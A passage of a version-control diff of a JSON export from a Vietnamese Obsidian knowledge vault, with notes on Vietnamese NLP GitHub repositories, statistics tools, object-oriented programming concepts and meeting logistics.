nguyên\n- [Digital Humanities Resources for Project Building](http://dhresourcesforprojectbuilding.pbworks.com)\n Tên gọi trước đây là Digital Humanities Toychest (rương đồ chơi cho nhân văn số).\n- [UC Davis DataLab Text and NLP Toolkit](https://ucdavisdatalab.github.io/research-toolkits/nlp_researcher_toolkit.html)\n- [Projects :: Digital Humanities @ Stanford](https://digitalhumanities.stanford.edu/projects/)\n\n## Nơi thảo luận\n![](https://i.imgur.com/NHkJF2N.png)\n \nNhu cầu công nghệ:: [[Hệ thống quản lý kiến thức]]\nGiải pháp kỹ thuật:: \n\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-09-01T09:59:00.000Z", - "id": "Sq" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-10T08:32:00.000Z", + "id": "T2" }, { - "Tiêu đề": "Phân loại dữ liệu tự động", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công nghệ/Tự động/Phân loại dữ liệu tự động", + "Tiêu đề": "Xử lý ngôn ngữ tự nhiên (NLP)", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Khoa học dữ liệu/Phân tích xu hướng, xử lý ngôn ngữ tự nhiên/Xử lý ngôn ngữ tự nhiên (NLP)", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Lĩnh vực:: [[Xử lý ngôn ngữ tự nhiên (NLP)]]\n\nPhục vụ cho nhu cầu:\n- [Ghi chép chi tiêu](https://kiếmtiền.quảcầu.cc/Tài-nguyên-hỗ-trợ/Quang-cảnh-thị-trường/Chương-trình-quản-lý-tiền/4-Loại-chương-trình/Chương-trình-ghi-chép-thu-chi-cá-nhân?utm_source=Vault+C+Obsidian%2C+quản+lý+dự+án+và+công+cụ+nghĩ+(Tài+nguyên)&utm_medium=Vault&utm_campaign=&utm_content=📜Tài+nguyên%2FNhu+cầu+công+nghệ%2FPhân+loại+dữ+liệu+tự+động.md&utm_term=)\n- Lĩnh vực khác: [Label Organizer](https://www.facebook.com/minh5e/posts/pfbid02E2UEE594eqRJhJPBZrouHvFH5h4KMUb7gh7GTn4oQDBGQYDaqAfvDk1tuDhZCYNpl)\n- [[Tạo danh sách hạch toán hàng loạt vào các phần mềm kế toán]]\n- [Tách địa chỉ](https://tachdiachi.vn/)\n## Nơi thảo luận\n![](https://i.imgur.com/TDK2yri.png)", + "Toàn bộ nội dung": "Giải pháp kỹ thuật:: [[Python]]\n\nDanh sách các repo trên GitHub có tag `nlp` và `vietnamese`\n- [undertheseanlp/underthesea](https://github.com/undertheseanlp/underthesea.git)\n- [vncorenlp/VnCoreNLP](https://github.com/vncorenlp/VnCoreNLP.git)\n- [undertheseanlp/chatbot](https://github.com/undertheseanlp/chatbot.git)\n- [undertheseanlp/automatic_speech_recognition](https://github.com/undertheseanlp/automatic_speech_recognition.git)\n- [undertheseanlp/word_tokenize](https://github.com/undertheseanlp/word_tokenize.git)\n- [anhthuan1999/Vietnamese-News-Classification](https://github.com/anhthuan1999/Vietnamese-News-Classification.git)\n- [ngockhanh5110/nlp-vietnamese-text-summarization](https://github.com/ngockhanh5110/nlp-vietnamese-text-summarization.git)\n- [henryle97/Spelling_Correction_Vietnamese](https://github.com/henryle97/Spelling_Correction_Vietnamese.git)\n- [pbcquoc/vietnamese_word_seperate](https://github.com/pbcquoc/vietnamese_word_seperate.git)\n- [undertheseanlp/sentiment](https://github.com/undertheseanlp/sentiment.git)\n- [undertheseanlp/pos_tag](https://github.com/undertheseanlp/pos_tag.git)\n- [undertheseanlp/speech_classification](https://github.com/undertheseanlp/speech_classification.git)\n- [undertheseanlp/chunking](https://github.com/undertheseanlp/chunking.git)\n- [undertheseanlp/sent_tokenize](https://github.com/undertheseanlp/sent_tokenize.git)\n- [congphase/img-captioning-in-vietnamese](https://github.com/congphase/img-captioning-in-vietnamese.git)\n- [matbahasa/ProSub](https://github.com/matbahasa/ProSub.git)\n- [letuananh/chirptext](https://github.com/letuananh/chirptext.git)\n- [bmd1905/vietnamese-correction](https://github.com/bmd1905/vietnamese-correction.git)\n- [duongntbk/restore_vietnamese_diacritics](https://github.com/duongntbk/restore_vietnamese_diacritics.git)\n- [longday1102/Demo-QA-Extraction-system](https://github.com/longday1102/Demo-QA-Extraction-system.git)\n- [nhtlongcs/shopee-reviews-sentiment-analysis](https://github.com/nhtlongcs/shopee-reviews-sentiment-analysis.git)\n- [baodv1001/TrendBot](https://github.com/baodv1001/TrendBot.git)\n- [nguyenhuuthuat09/VLSP2020_Relation_Extraction](https://github.com/nguyenhuuthuat09/VLSP2020_Relation_Extraction.git)\n- [hugo53/HUsyntactic](https://github.com/hugo53/HUsyntactic.git)\n- [VFND/VMDS-vietnamese-misspell-dataset-from-Social-media](https://github.com/VFND/VMDS-vietnamese-misspell-dataset-from-Social-media.git)\n- [anssssss/Vietnamese-Speech-Recognition](https://github.com/anssssss/Vietnamese-Speech-Recognition.git)\n- [vega-ai/vietr](https://github.com/vega-ai/vietr.git)\n- [undertheseanlp/lang_detect](https://github.com/undertheseanlp/lang_detect.git)\n- [undertheseanlp/word_embeddings](https://github.com/undertheseanlp/word_embeddings.git)\n- [congnghia0609/ntc-vntok](https://github.com/congnghia0609/ntc-vntok.git)\n\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-01T09:59:00.000Z", - "id": "Sr" + "Ngày tạo": "2023-06-09T04:16:00.000Z", + "Ngày cập nhật": "2024-09-02T07:52:00.000Z", + "id": "T3" }, { - "Tiêu đề": "Tạo liên kết UTM rút gọn nhanh chóng", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công nghệ/Tự động/Tạo liên kết UTM rút gọn nhanh chóng", + "Tiêu đề": "Xử lý ngôn ngữ tự nhiên chính là một công cụ nghĩ", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Khoa học dữ liệu/Phân tích xu hướng, xử lý ngôn ngữ tự nhiên/Xử lý ngôn ngữ tự nhiên chính là một công cụ nghĩ", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Lĩnh vực:: [[Tiếp thị số]]", + "Toàn bộ nội dung": "Nguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]\n[[Công cụ không chỉ là cách để đạt mục tiêu nhanh hơn, mà còn thay đổi tư duy của chúng ta]] [[Những công cụ nghĩ tốt đa phần là sản phẩm phụ của những nỗ lực giải quyết những vấn đề nghiêm túc]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-09-01T09:58:00.000Z", - "id": "Ss" + "Ngày tạo": "2023-05-29T15:01:00.000Z", + "Ngày cập nhật": "2024-09-02T07:52:00.000Z", + "id": "T4" }, { - "Tiêu đề": "Tự động hoá các công việc lặp đi lặp lại", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công nghệ/Tự động/Tự động hoá các công việc lặp đi lặp lại", + "Tiêu đề": "Thống kê", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Khoa học dữ liệu/Thống kê", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Đáp ứng cho nhu cầu công việc: `=filter(this.file.inlinks, (i) => contains(i.nhu-cầu-công-nghệ, [[]]))`\n\nGiải pháp kỹ thuật:: [[AutoHotKey]], [[CopyQ]], [[Terminal, shell, path, env]], [[App script]]\n", + "Toàn bộ nội dung": "Giải pháp kỹ thuật:: [[Python]]\nGiải pháp kỹ thuật:: [[Jupyter]]\nGiải pháp kỹ thuật:: [[R]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-01T09:58:00.000Z", - "id": "St" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-09-02T07:24:00.000Z", + "id": "T5" }, { - "Tiêu đề": "Chạy thống kê", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công nghệ/Xác định mẫu hình/Chạy thống kê", + "Tiêu đề": "Lĩnh vực", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Lĩnh vực:: [[Thống kê]]\nGiải pháp kỹ thuật:: [[Python]]\nGiải pháp kỹ thuật:: [[Jupyter]]\nGiải pháp kỹ thuật:: [[R]]", + "Toàn bộ nội dung": "```dataview\nLIST rows.file.link\nFROM \"📜Tài nguyên/Lĩnh vực\" \nWHERE file.name!=this.file.name\nGROUP BY split(file.folder, \"/\")[2]\n```\nGiải pháp kỹ thuật:: [[Giải pháp kỹ thuật]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-09-01T09:57:00.000Z", - "id": "Su" + "Ngày tạo": "2024-02-29T16:53:00.000Z", + "Ngày cập nhật": "2024-09-01T10:16:00.000Z", + "id": "T6" }, { - "Tiêu đề": "Nhìn tổng thể kế hoạch bằng đồ thị", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công nghệ/Xác định mẫu hình/Nhìn tổng thể kế hoạch bằng đồ thị", + "Tiêu đề": "4 đặc điểm của lập trình hướng vật thể", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Lập trình hướng vật thể/4 đặc điểm của lập trình hướng vật thể", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Tôi học được gì sau khi viết Graphvidian?\nĐây là các mong muốn của tôi khi viết Graphvidian:\n\n| Mong muốn | Mức độ thỏa mãn và lý do |\n| ------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------- |\n| Học các kỹ thuật lập trình | Hoàn toàn thỏa mãn |\n| Hiểu thêm về cộng đồng/hệ sinh thái lập trình viên | Hoàn toàn thỏa mãn |\n| Hiểu thêm về cộng đồng/hệ sinh thái Obsidian | Hoàn toàn thỏa mãn |\n| Tạo hình ảnh trong cộng đồng Obsidian VN | Tạm thỏa mãn. Biết là đã để lại ấn tượng với một số người, nhưng chưa thấy nhiều người nói về nó như mong muốn |\n| Thu hút người quan tâm đến QC | Tạm thỏa mãn. Những người có hứng thú với nó chưa tham gia sâu hơn vào QC, có lẽ vì họ còn nhiều việc khác phải làm. Có vài người còn bị dội bởi triết lý của QC |\n| Quản lý mục tiêu của QC tốt hơn graphview có sẵn của Obsidian | Không thực sự thỏa mãn. Chắc gọi là thất bại cũng được. Xem chi tiết ở dưới |\n| Giúp người khác trong việc quản lý | Không có dữ liệu để đánh giá |\n\n## Quản lý các thành quả mong muốn tốt hơn graphview\nChỉ thỏa mãn được lúc đầu thôi chứ sau đó không phát huy được hết tiềm năng của nó. \n\nĐầu tiên là vì không ai thực sự quan tâm sâu hơn, vì có lẽ rốt cuộc họ cũng không đủ hứng thú tới mục tiêu cụ thể tôi cần dùng đồ thị để nhìn này, hoặc tới chuyện có một hệ thống để nhìn thấy mọi thứ. Cái này chắc lại quay về vấn đề nhân sự: nhiều người chỉ đến đây vì thấy có những thứ thú vị, nhưng những thứ đó không phải là thứ để họ thấy mình cần theo đuổi. \n\nHơn nữa, chính bản thân tôi cũng không dùng nhiều, vì sau khi nó đã giải quyết được nhu cầu nhìn được toàn cảnh rồi thì khi tới giai đoạn tiến hành làm thì nó không giúp được gì. Giống như bạn có một chiếu xe bị hỏng một con ốc, và bạn phải xây ra cả một cái xưởng rèn chỉ để làm ra được con ốc đó. Nhưng lắp được nó vào rồi thì để cả cái xưởng đó bỏ hoang.\n\nCó lẽ để nó hữu ích hơn thì cần làm nó có thể tương tác được trên máy, ví dụ như việc gói lại/mở rộng các nút. Mà như vậy thì nên làm luôn bằng JS chứ không nên dùng GraphViz. Ngoài ra thì cũng cần thêm một bài phân tích chi tiết, chứ chỉ vẽ ra thôi thì chưa đủ. \n\nLúc đó có thử in ra giấy A3 nhưng chữ vẫn còn quá bé. Thứ chiếm nhiều diện tích nhất là cái khoảng không gian giữa các nút. Hình như thuật toán của GraphViz không cho tăng tỉ lệ `cỡ chữ:độ dài trung bình của các cạnh` thì phải. Chứ nếu làm được thì đã làm rồi. Chắc phải in ra giấy cỡ A0 mới nhìn được chữ. Mà cái này thì chắc làm workshop thì hợp.\n\nCuối cùng là lúc đó còn mù mờ về phát triển sản phẩm, hệ thống thông tin hay khoa học dữ liệu, nên lúc đó mới thấy cần làm cái này. Giờ biết rồi thì thấy có nhiều thứ cho tác động lớn hơn. Ví dụ như là thiết kế hệ thống để truy xuất dữ liệu.", + "Toàn bộ nội dung": "- Tính trừu tượng (abstraction)\r\n- [[Việc đóng gói (encapsulation) giúp ta không cần quan tâm vật thể lưu dữ liệu thế nào, mà chỉ cần quan tâm tới thuộc tính và phương thức của nó|Tính đóng gói (encapsulation)]] và che giấu dữ liệu (data hiding) \r\n- Tính đa hình (polymorphism) \r\n- Tính kế thừa (inheritance) \r\n\r\nNguồn:: Lập trình không khó, [Lập Trình Hướng Đối Tượng Là Gì?](https://blog.luyencode.net/lap-trinh-huong-doi-tuong-cpp/)\r\n\r\n![[logo3.svg]]\r\n[[Chưa rõ lý do vì sao lại dịch object ra thành đối tượng chứ không phải vật thể]]\r\n[Separation of concerns - Wikipedia](https://en.wikipedia.org/wiki/Separation_of_concerns)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-09-01T09:57:00.000Z", - "id": "Sv" + "Ngày tạo": "2023-05-27T06:15:00.000Z", + "Ngày cập nhật": "2024-09-02T08:16:00.000Z", + "id": "T7" }, { - "Tiêu đề": "Tạo đồ thị mạng lưới", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công nghệ/Xác định mẫu hình/Tạo đồ thị mạng lưới", + "Tiêu đề": "Alan Kay và Bjarne Stroustrup là đại diện của 2 trường phái khác nhau về lập trình hướng vật thể", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Lập trình hướng vật thể/Alan Kay và Bjarne Stroustrup là đại diện của 2 trường phái khác nhau về lập trình hướng vật thể", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Lĩnh vực:: [[Lý thuyết đồ thị]]\nGiải pháp kỹ thuật:: [[Graphviz, Neo4j, Cytoscape]], [[Obsidian]] ", + "Toàn bộ nội dung": "Khái niệm:: \n![](http://stereobooster.github.io/assets/posts/two-big-schools-of-object-oriented-programming/alan-kay.png)\n![](http://stereobooster.github.io/assets/posts/two-big-schools-of-object-oriented-programming/bjarne-stroustrup.png) \n![](http://stereobooster.github.io/assets/posts/two-big-schools-of-object-oriented-programming/venn-diagram.svg) \n\nNguồn:: [Two big schools of Object-Oriented Programming | stereobooster.github.io](http://stereobooster.github.io/two-big-schools-of-object-oriented-programming)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-01T09:57:00.000Z", - "id": "Sw" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-09-02T08:16:00.000Z", + "id": "T8" }, { - "Tiêu đề": "Xác định các chủ đề có trong ngữ liệu", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công nghệ/Xác định mẫu hình/Xác định các chủ đề có trong ngữ liệu", + "Tiêu đề": "Chưa rõ lý do vì sao lại dịch object ra thành đối tượng chứ không phải vật thể", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Lập trình hướng vật thể/Chưa rõ lý do vì sao lại dịch object ra thành đối tượng chứ không phải vật thể", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Lĩnh vực:: [[Xử lý ngôn ngữ tự nhiên (NLP)]], [[Nhân văn số|Các dự án, công cụ, tài nguyên cho nhân văn số]]\nGiải pháp kỹ thuật:: [[Python]]", + "Toàn bộ nội dung": "[Is there any philosophical theory behind the concept of object in computer science?](https://philosophy.stackexchange.com/q/99660/19487)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-01T10:00:00.000Z", - "id": "Sx" + "Ngày tạo": "2023-06-02T05:30:00.000Z", + "Ngày cập nhật": "2024-09-02T08:16:00.000Z", + "id": "T9" }, { - "Tiêu đề": "Các công việc tổ chức một buổi họp", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Hậu cần/Các công việc tổ chức một buổi họp", + "Tiêu đề": "Các ngôn ngữ tiến hoá dần để trở thành Lips", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Lập trình hướng vật thể/Các ngôn ngữ tiến hoá dần để trở thành Lips", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "- [ ] Xem nội dung họp trong lịch họp hằng tuần\n- [ ] Lên danh sách chủ đề các buổi họp để mọi người lựa chọn\n- [ ] Đăng thông báo lên group\n\t- [ ] Xác định ngày họp nhiều người tham gia được nhất\n - [ ] Tạo lịch Google Calendar\n- [ ] Chọn nơi họp\n- [ ] Khởi động một chút cho thêm không khí\n- [ ] Tạo khảo sát cuối buổi\n- [ ] Ghi chép\n\nNếu có mời đối tác khác vào họp chung:\n- [ ] Chuẩn bị nội dung họp\n- [ ] Chuẩn bị phiếu khảo sát nhu cầu của họ\n- [ ] Gửi cho các bên nội dung họp\n\n[[Kinh nghiệm setup khi có cả online và offline|Nếu có thành viên online thì cần đảm bảo]]:\n- [ ] Mở trước 5 phút\n- [ ] Camera quan sát được cả nhóm\n- [ ] Mic và loa rõ\n- [ ] Màn hình để mọi người thấy được sự hiện diện của họ\n\nCấu trúc một cuộc họp 3 tiếng:\n- 30 phút đầu: trò chuyện linh tinh, làm quen, chuẩn bị, chờ người đến trễ\n- 30 phút cuối: mọi người đánh giá mức độ hài lòng trong buổi họp và đưa ra mong muốn cho buổi kế tiếp\n\t- Nãy giờ em thấy ấn tượng nhất ý nào/ý nào em thấy thích nhất\n\t- Có điều gì mình có thể làm tốt hơn ko\n\t- Còn thắc mắc vấn đề nào\n", + "Toàn bộ nội dung": "Nguồn:: [Revenge of the Nerds](http://www.paulgraham.com/icad.html?ref=blog.codinghorror.com)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-02T06:10:00.000Z", - "id": "Sy" + "Ngày tạo": "2023-07-31T10:48:00.000Z", + "Ngày cập nhật": "2024-09-02T08:16:00.000Z", + "id": "TA" }, { - "Tiêu đề": "Kinh nghiệm setup khi có cả online và offline", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Hậu cần/Kinh nghiệm setup khi có cả online và offline", + "Tiêu đề": "Hoạt động trung tâm của lập trình hướng vật thể là phân loại", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Lập trình hướng vật thể/Hoạt động trung tâm của lập trình hướng vật thể là phân loại", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Mô tả bài đăng": "Dành cho những người nghèo cần họp", - "Toàn bộ nội dung": "> [!important] Nguyên tắc chung\n> Trong phòng chỉ có một thiết bị thu âm, và thiết bị đó cũng là thiết bị phát âm duy nhất\n\n## Yêu cầu tối thiểu\nNhững thứ cơ bản:\n- 🔊Loa nghe rõ, \n- 🎙️Mic hoạt động ổn định,\n- 🌐Internet ổn định\n\nNgười thuyết trình cần:\n- Bật cam,\n- Bật chia sẻ màn hình trong Zoom\n- Bật các chương trình khác khi chia sẻ: trình duyệt, PowerPoint, Google Docs, Obsidian, v.v. \n\nTất cả những cái này đều khá tốn RAM. Một số webapp như Google Docs hay Notion chỉ bật mình nó thôi là đã thấy hơi cà giựt. Các chương trình khác như Obsidian hay PowerPoint nếu chỉ bật không thôi thì thấy nhanh, nhưng nếu có bật với Zoom (chưa cần chia sẻ) thì đã thấy giựt. Chưa kể lúc đó mic dễ bị trục trặc. Vì thế, máy của người thuyết trình phải đủ mạnh, nếu không thì chỉ nên nói thôi chứ không nên chia sẻ màn hình.\n\n## Điều kiện tốt nhất \nNên có những thứ sau:\n- 🎙️🔊 1 bộ loa, mic chuyên dụng cho việc họp\n- 🔓 1 tài khoản Zoom premium/Google Meet premium\n- 🖥️ 2 màn hình: 1 để xem mặt người online + nội dung chat, 1 để trình chiếu\n- 📹 1 webcam \n- 💻 Máy của người thuyết trình đủ mạnh \n- 🌐 Internet ổn định\n\nMột số thiết bị gợi ý:\n- [Microsoft Modern USB-C Speaker](https://www.youtube.com/watch?v=S2qjBBnVeqU \"Giờ họp khỏi xài tai nghe nữa, quá ngon: Microsoft Modern USB-C Speaker - YouTube\"): 2.680.000 ₫\n![](https://cdn-dynmedia-1.microsoft.com/is/image/microsoftcorp/Panel3-S2-FeatureCtr?scl=1) \n## Khi không có đầy đủ thiết bị\nBảng dưới đây liệt kê những giải pháp khi thiếu một trong những thứ đó. Nếu không cần dùng đến cái nào thì xem như đã có nó đó rồi.\n\n| 🎙️🔊 Có bộ loa, mic chuyên dụng | 🔓 Có tài khoản Zoom/Google Meet premium | 🖥️ Có máy chiếu | 📹 Có webcam | `←` Tình huống<br>`↓` Phương án giải quyết |\n| ------------------------------- | ---------------------------------------- | --------------- | ------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |\n| ❌ | ✔ | ✔ | ✔ | Dùng một điện thoại hoặc laptop để thay thế<br><br>Nếu tiếng không được lớn, người ở xa không nghe rõ, cũng như mic không thu tiếng của họ rõ thì cần có thêm loa ngoài |\n| ✔ | ❌ | ✔ | ✔ | Dùng [[Discord (gọi video)\\|Discord]], [[Gather]] hoặc Jitsi trên một máy<br><sub>Bấm vào từng link để xem chi tiết</sub> |\n| ✔ | ✔ | ❌ | ✔ | • Vác màn hình riêng cũng không quá bất tiện<br>• Nhiều máy cùng vào cùng lúc và tắt hết tiếng, mic |\n| ✔ | ✔ | ✔ | ❌ | Gắn điện thoại lên cây selfie đứng hoặc tripod |\n| 🎙️🔊 Có bộ loa, mic chuyên dụng | 🔓 Có tài khoản Zoom/Google Meet premium | 🖥️ Có máy chiếu | 📹 Có webcam | `←` Tình huống<br>`↕` Phương án giải quyết |\n| ❌ | ❌ | ✔ | ✔ | Tương tự như ở dưới, nhưng gọi trên [[Discord (gọi video)\\|Discord]], [[Gather]] hoặc Jitsi |\n| ❌ | ✔ | ❌ | ✔ | Dùng nhiều điện thoại, laptop vào cùng lúc.<br><br>Nếu bị hú thì có 2 cách:<br>• Mỗi người đeo một tai nghe, hoặc<br>• Khi ai nói thì người đó bật mic và loa, tất cả mọi người cùng tắt |\n| ❌ | ✔ | ✔ | ❌ | Tương tự như ở trên |\n| 🎙️🔊 Có bộ loa, mic chuyên dụng | 🔓 Có tài khoản Zoom/Google Meet premium | 🖥️ Có máy chiếu | 📹 Có webcam | `←` Tình huống<br>`↕` Phương án giải quyết |\n| ✔ | ❌ | ❌ | ✔ | Dùng [[Discord (gọi video)\\|Discord]], [[Gather]] hoặc Jitsi trên tất cả các máy. Tắt hết tất cả mic và loa |\n| ✔ | ❌ | ✔ | ❌ | Dùng [[Discord (gọi video)\\|Discord]], [[Gather]] hoặc Jitsi trên một máy. Gắn điện thoại lên cây selfie đứng hoặc tripod |\n| ✔ | ✔ | ❌ | ❌ | Dùng [[Zoom]], [[Google Meet]], [[Discord (gọi video)\\|Discord]], [[Gather]] hoặc Jitsi trên tất cả các máy. Tắt hết tất cả mic và loa. |\n| ❌ | ❌ | ❌ | ✔ | |\n| ❌ | ❌ | ✔ | ❌ | |\n| ❌ | ✔ | ❌ | ❌ | |\n| ✔ | ❌ | ❌ | ❌ | |\n| ❌ | ❌ | ❌ | ❌ | |\n", + "Toàn bộ nội dung": "Khái niệm:: [[Phân loại]]\nClassifying is a central activity in object-oriented programming and distinguishes it from procedural programming. Traditional logic, initiated by Aristotle, assigns classification to our first activity in reasoning, whereby we come to know what a thing is. Such a grasp of the thing's whatness is the foundation for all further reasoning about it.\n\nNguồn:: [Is there any philosophical theory behind the concept of object in computer science?](https://philosophy.stackexchange.com/a/99671/19487)\n[[Có 4 loại phân loại]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-08-23T10:57:00.000Z", - "id": "Sz" + "Ngày tạo": "2023-06-11T06:35:00.000Z", + "Ngày cập nhật": "2024-09-02T08:16:00.000Z", + "id": "TB" }, { - "Tiêu đề": "Làm livestream và video", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Hậu cần/Làm livestream và video", + "Tiêu đề": "Biểu thức (expression) là những thứ trả lại một giá trị nào đó", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Lập trình hướng vật thể/Khái niệm cơ bản/Biểu thức (expression) là những thứ trả lại một giá trị nào đó", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "## Đánh dấu các phần của file thu âm \n## Đánh dấu các phần của một recording\n", + "Toàn bộ nội dung": "Nguồn:: [Ternary operators in JavaScript without an \"else\"](https://stackoverflow.com/a/2933472/3416774)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-02T03:46:00.000Z", - "Ngày cập nhật": "2024-08-23T10:56:00.000Z", - "id": "S-" + "Ngày tạo": "2023-07-05T17:30:00.000Z", + "Ngày cập nhật": "2024-09-02T08:16:00.000Z", + "id": "TC" }, { - "Tiêu đề": "Cricket", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Hậu cần/Nơi gặp mặt trực tiếp/Hà Nội/Cricket", + "Tiêu đề": "Giao diện là cái khuôn của phương thức", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Lập trình hướng vật thể/Khái niệm cơ bản/Hàm/Giao diện là cái khuôn của phương thức", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "Giao diện (interface) là tập hợp tất cả các phương thức **chung** của **nhiều** lớp **liên quan với nhau**. Nó giống như [[Lớp là một cái khuôn để tạo các vật thể cho nhanh|lớp]] nhưng mà không phải cho vật thể mà là cho phương thức của vật thể\r\n\r\n[[API là giao diện của một chương trình]] \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-08-22T19:34:00.000Z", - "id": "S_" + "Ngày tạo": "2023-06-10T13:48:00.000Z", + "Ngày cập nhật": "2024-09-02T08:16:00.000Z", + "id": "TD" }, { - "Tiêu đề": "Cái Giếng", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công việc/Hậu cần/Nơi gặp mặt trực tiếp/Hà Nội/Cái Giếng", + "Tiêu đề": "Phương thức cho ta biết mình có thể làm gì với vật thể đó", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Lập trình hướng vật thể/Khái niệm cơ bản/Hàm/Phương thức cho ta biết mình có thể làm gì với vật thể đó", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "Nó không phải là vật có thể có những hành vi nào, mà là ta có thể làm gì với nó\r\nNguồn:: [epistemology - Is there any philosophical theory behind the concept of object in computer science? - Philosophy Stack Exchange](https://philosophy.stackexchange.com/questions/99660/is-there-any-philosophical-theory-behind-the-concept-of-object-in-computer-scien/99710?noredirect=1#comment294491_99710)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-08-22T19:34:00.000Z", - "id": "T0" + "Ngày tạo": "2023-06-09T04:16:00.000Z", + "Ngày cập nhật": "2024-09-02T08:16:00.000Z", + "id": "TE" }, { - "Tiêu đề": "Nơi gặp mặt trực tiếp tại Hà Nội", - "URL": 